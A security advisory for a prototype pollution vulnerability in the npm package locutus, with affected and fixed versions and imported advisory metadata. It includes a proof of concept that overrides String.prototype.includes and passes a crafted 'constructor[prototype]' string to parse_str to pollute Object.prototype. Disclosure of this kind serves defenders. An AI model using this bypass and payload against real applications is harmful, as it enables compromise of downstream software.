locutus is vulnerable to Prototype Pollution
### Summary A Prototype Pollution vulnerability exists in the the npm package locutus (>2.0.12). Despite a previous fix that attempted to mitigate Prototype Pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue was fixed in version 2.0.39. ### Details The vulnerability resides in line 77 to 79 of https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js where includes() function is used to check whether user provided input contain forbidden strings. ### PoC #### Steps to reproduce 1. Install latest version of locutus using npm install or cloning from git 2. Run the following code snippet: ```javascript String.prototype.includes = () => false; console.log({}.polluted); const locutus = require('locutus'); locutus.php.strings.parse_str('constructor[prototype][polluted]=yes'); console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and Prototype Pollution occurred ``` #### Expected behavior Prototype Pollution should be prevented and {} should not gain new properties. This should be printed on the console: ``` undefined undefined OR throw an Error ``` #### Actual behavior Object.prototype is polluted This is printed on the console: ``` undefined yes ``` ### Impact This is a Prototype Pollution vulnerability, which can have severe security implications depending on how locutus is used by downstream applications. Any appli
GHSA-rxrv-835q-v5mh
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:GHSA-rxrv-835q-v5mh
locutus
Source reference: /affected/0/package/name
- Affected versions
- Not stated in this record
- Fixed versions
- 2.0.39
Source reference:
/affected/0/ranges - Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "2.0.12"
},
{
"fixed": "2.0.39"
}
]
}
],
"package": {
"name": "locutus",
"purl": "pkg:npm/locutus",
"ecosystem": "npm"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-rxrv-835q-v5mh/GHSA-rxrv-835q-v5mh.json"
}
}
]- Related CVEs
- CVE-2026-25521
Source reference:
/aliases
Publisher severity
critical
Source reference: /database_specific/severity
- Event
- #84288 · Revision 1
- Added to Heist Feed
- Publisher date